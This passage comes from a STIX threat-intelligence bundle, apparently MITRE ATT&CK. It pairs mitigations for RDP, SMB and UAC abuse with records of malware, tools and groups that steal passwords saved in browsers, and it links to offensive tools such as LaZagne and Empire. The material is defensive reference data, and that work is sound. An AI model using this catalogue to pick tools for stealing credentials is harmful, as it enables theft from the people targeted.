            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "relationship_type": "mitigates",
            "description": "Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.",
            "id": "relationship--bff585a5-6a32-4361-a72c-dfb1f6e6fe3d",
            "type": "relationship",
            "modified": "2020-02-11T18:24:04.823Z",
            "created": "2019-06-24T16:00:49.996Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication for remote logins. (Citation: Berkley Secure)",
            "id": "relationship--3eb59d14-a07f-493a-8bee-5877c6c1d478",
            "external_references": [
                {
                    "url": "https://security.berkeley.edu/node/94",
                    "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.",
                    "source_name": "Berkley Secure"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-11T18:24:04.824Z",
            "created": "2019-06-24T16:00:50.000Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "description": "Disable the RDP service if it is unnecessary.",
            "id": "relationship--d02e0a35-ab09-49a9-958f-d71fbb1e3e6f",
            "type": "relationship",
            "modified": "2020-02-11T18:24:04.825Z",
            "created": "2019-06-24T16:00:50.009Z"
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            "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups",
            "id": "relationship--0a5b4837-54e4-46e0-80e9-03c39919aec4",
            "type": "relationship",
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            "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication on remote service logons where possible.",
            "id": "relationship--a70d8d81-4d88-404c-81f3-c3ddd57d6b69",
            "type": "relationship",
            "modified": "2020-03-23T23:44:52.724Z",
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            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "relationship_type": "mitigates",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)",
            "id": "relationship--5b2d2786-1ccb-41d9-90dc-4e11d517bfe2",
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                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
                    "source_name": "Microsoft Disable Autorun"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
                    "source_name": "TechNet Removable Media Control"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-14T19:45:59.779Z",
            "created": "2019-06-24T16:07:33.575Z"
        },
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            ],
            "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "source_name": "GitHub LaZagne Dec 2018"
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox.(Citation: GitHub LaZagne Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--3b806ebb-0c5d-4ba8-adf8-b215a59f81b0",
            "type": "relationship",
            "modified": "2019-06-24T16:21:14.002Z",
            "created": "2019-06-24T16:20:44.394Z"
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            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
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            "id": "relationship--0ccddf91-2cf3-4801-a10b-ca4d253f2c8c",
            "type": "relationship",
            "modified": "2021-04-02T17:51:59.404Z",
            "created": "2019-06-24T16:21:04.537Z"
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            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "relationship_type": "mitigates",
            "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.",
            "id": "relationship--70d446a5-349f-4b70-9446-90e872adac42",
            "type": "relationship",
            "modified": "2021-04-02T17:51:59.400Z",
            "created": "2019-06-24T16:21:04.539Z"
        },
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            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
            "relationship_type": "mitigates",
            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)",
            "id": "relationship--e2748683-077b-4e91-9225-6b29245fdafc",
            "external_references": [
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx",
                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Install Password Filter n.d"
                }
            ],
            "type": "relationship",
            "modified": "2020-09-29T14:48:07.375Z",
            "created": "2019-06-24T16:27:16.770Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can steal credentials from the victim's browser.(Citation: Unit42 Azorult Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--4ffe77f2-8b05-40ff-b572-f7c0b9040571",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.704Z",
            "created": "2019-06-24T16:46:55.846Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)",
            "relationship_type": "uses",
            "id": "relationship--0d4d7376-5bda-44bc-b90d-0a065bb99433",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.473Z",
            "created": "2019-06-24T17:08:51.561Z"
        },
        {
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            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "relationship_type": "mitigates",
            "description": "Upgrade to Windows 8 or later and enable secure boot.",
            "id": "relationship--1f9af9c5-7862-47f9-9ee7-6a15fbe8c745",
            "type": "relationship",
            "modified": "2020-01-24T14:52:55.424Z",
            "created": "2019-06-24T17:11:15.854Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use modules that extract passwords from common web browsers such as Firefox and Chrome.(Citation: Github PowerShell Empire)",
            "relationship_type": "uses",
            "id": "relationship--b97afcfc-489a-4d59-89b3-1533eae926e0",
            "type": "relationship",
            "modified": "2021-04-09T14:47:00.149Z",
            "created": "2019-06-24T17:15:43.981Z"
        },
        {
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            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                }
            ],
            "description": "[jRAT](https://attack.mitre.org/software/S0283) can capture passwords from common web browsers such as Internet Explorer, Google Chrome, and Firefox.(Citation: Kaspersky Adwind Feb 2016)",
            "relationship_type": "uses",
            "id": "relationship--890f944f-190d-456d-b194-f5ecb17a0868",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.258Z",
            "created": "2019-06-24T17:20:24.258Z"
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            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "relationship_type": "mitigates",
            "description": "Use application control where appropriate.",
            "id": "relationship--87fd0088-41da-47ac-bd69-a8ac151a0d39",
            "type": "relationship",
            "modified": "2020-10-21T16:09:10.707Z",
            "created": "2019-06-24T18:00:41.676Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
            "relationship_type": "mitigates",
            "description": "Ensure proper process, Registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.",
            "id": "relationship--5d6f47e1-d48a-4efc-b4fb-56a23e6b5d8b",
            "type": "relationship",
            "modified": "2020-02-21T20:35:49.238Z",
            "created": "2019-06-24T18:14:59.907Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has run tools including Browser64 to steal passwords saved in victim web browsers.(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--885cab64-2589-4917-95ab-4ae5a2b75cd3",
            "type": "relationship",
            "modified": "2021-03-19T13:31:33.334Z",
            "created": "2019-06-24T18:55:39.462Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "Fidelis njRAT June 2013",
                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                },
                {
                    "source_name": "Trend Micro njRAT 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/",
                    "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."
                },
                {
                    "source_name": "Citizen Lab Group5",
                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "url": "https://citizenlab.ca/2016/08/group5-syria/"
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) has a module that steals passwords saved in victim web browsers.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)(Citation: Citizen Lab Group5)",
            "relationship_type": "uses",
            "id": "relationship--07773227-54d9-4476-877a-739c490b7b65",
            "type": "relationship",
            "modified": "2019-06-24T18:57:11.074Z",
            "created": "2019-06-24T18:57:11.074Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials for Google Chrome.(Citation: objsee mac malware 2017)",
            "relationship_type": "uses",
            "id": "relationship--9ca71386-44e2-41e5-aecf-796de464855d",
            "type": "relationship",
            "modified": "2019-06-24T19:03:52.597Z",
            "created": "2019-06-24T19:03:52.597Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://github.com/quasar/QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common web browsers.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)",
            "relationship_type": "uses",
            "id": "relationship--360f1c0d-c6ec-4d49-92a0-e8ce63559960",
            "type": "relationship",
            "modified": "2019-06-24T19:05:41.430Z",
            "created": "2019-06-24T19:05:41.430Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches for credentials stored from web browsers.(Citation: Talos Smoke Loader July 2018)",
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            "id": "relationship--44aeb943-8861-4018-a93b-beeb393bfa8f",
            "type": "relationship",
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            "created": "2019-06-24T19:07:12.496Z"
        },
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            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has used tools that are capable of obtaining credentials from web browsers.(Citation: Netscout Stolen Pencil Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--6b5859b0-f1f0-4ad9-85b9-2095eb885e3b",
            "type": "relationship",
            "modified": "2019-06-24T19:09:46.205Z",
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            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from Internet Explorer.(Citation: Proofpoint TA505 Sep 2017)",
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            "id": "relationship--9e27c930-eba5-467f-90e5-4ec5b4219735",
            "type": "relationship",
            "modified": "2019-06-24T19:11:41.147Z",
            "created": "2019-06-24T19:11:41.147Z"
        },
        {
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            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/",
                    "source_name": "Trend Micro Trickbot Nov 2018"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using [esentutl](https://attack.mitre.org/software/S0404).(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019)",
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            "id": "relationship--f0dd2703-4846-47b5-a8d8-471f70f9968e",
            "type": "relationship",
            "modified": "2020-10-17T15:05:15.989Z",
            "created": "2019-06-24T19:15:06.328Z"
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            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
            "relationship_type": "mitigates",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
            "id": "relationship--aba9ea33-32fb-4fb6-a7af-3d8902596fc8",
            "external_references": [
                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-31T19:01:42.180Z",
            "created": "2019-06-24T19:18:56.129Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
            "relationship_type": "mitigates",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET) Identify and block potentially malicious software executed through regsvr32 functionality by using application whitelisting (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "id": "relationship--9a9e2939-8974-4d6a-a584-87120df6e5ec",
            "external_references": [
                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "source_name": "Microsoft Windows Defender Application Control"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-31T19:00:56.786Z",
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        },
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            "relationship_type": "mitigates",
            "description": "Regsvcs and Regasm may not be necessary within a given environment.",
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            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
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            "description": "Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
            "id": "relationship--36c6dd87-edf2-4b98-b446-6baf2276563f",
            "external_references": [
                {
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "source_name": "Seclists Kanthak 7zip Installer"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-19T15:11:39.895Z",
            "created": "2019-06-24T19:32:28.527Z"
        },
        {
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            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "relationship_type": "mitigates",
            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)",
            "id": "relationship--35923be5-bb44-4641-a1d1-8255eb423537",
            "external_references": [
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-19T15:11:39.897Z",
            "created": "2019-06-24T19:32:28.541Z"
        },
        {
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            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "relationship_type": "mitigates",
            "description": "Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
            "id": "relationship--6537d47a-80c0-442b-a1ec-3451d078a2a9",
            "type": "relationship",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "relationship_type": "mitigates",
            "description": "\nBlock SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with allowlisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)",
            "id": "relationship--85c9285a-6738-42dd-aa12-fbded3e7bbdb",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices",
                    "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.",
                    "source_name": "US-CERT SMB Security"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-20T20:46:36.547Z",
            "created": "2019-06-24T19:53:23.769Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "id": "relationship--3359cfe3-0d04-4fb8-9f2f-1b049bc10cf4",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-30T13:47:30.078Z",
            "created": "2019-06-25T11:24:45.251Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
            "relationship_type": "mitigates",
            "description": "Holding the Shift key while logging in prevents apps from opening automatically. (Citation: Re-Open windows on Mac)",
            "id": "relationship--20e67eaa-23c3-4743-a907-4ec6d6505806",
            "external_references": [
                {
                    "url": "https://support.apple.com/en-us/HT204005",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "source_name": "Re-Open windows on Mac"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T18:26:19.239Z",
            "created": "2019-06-25T11:28:27.295Z"
        },
        {
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            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
            "relationship_type": "mitigates",
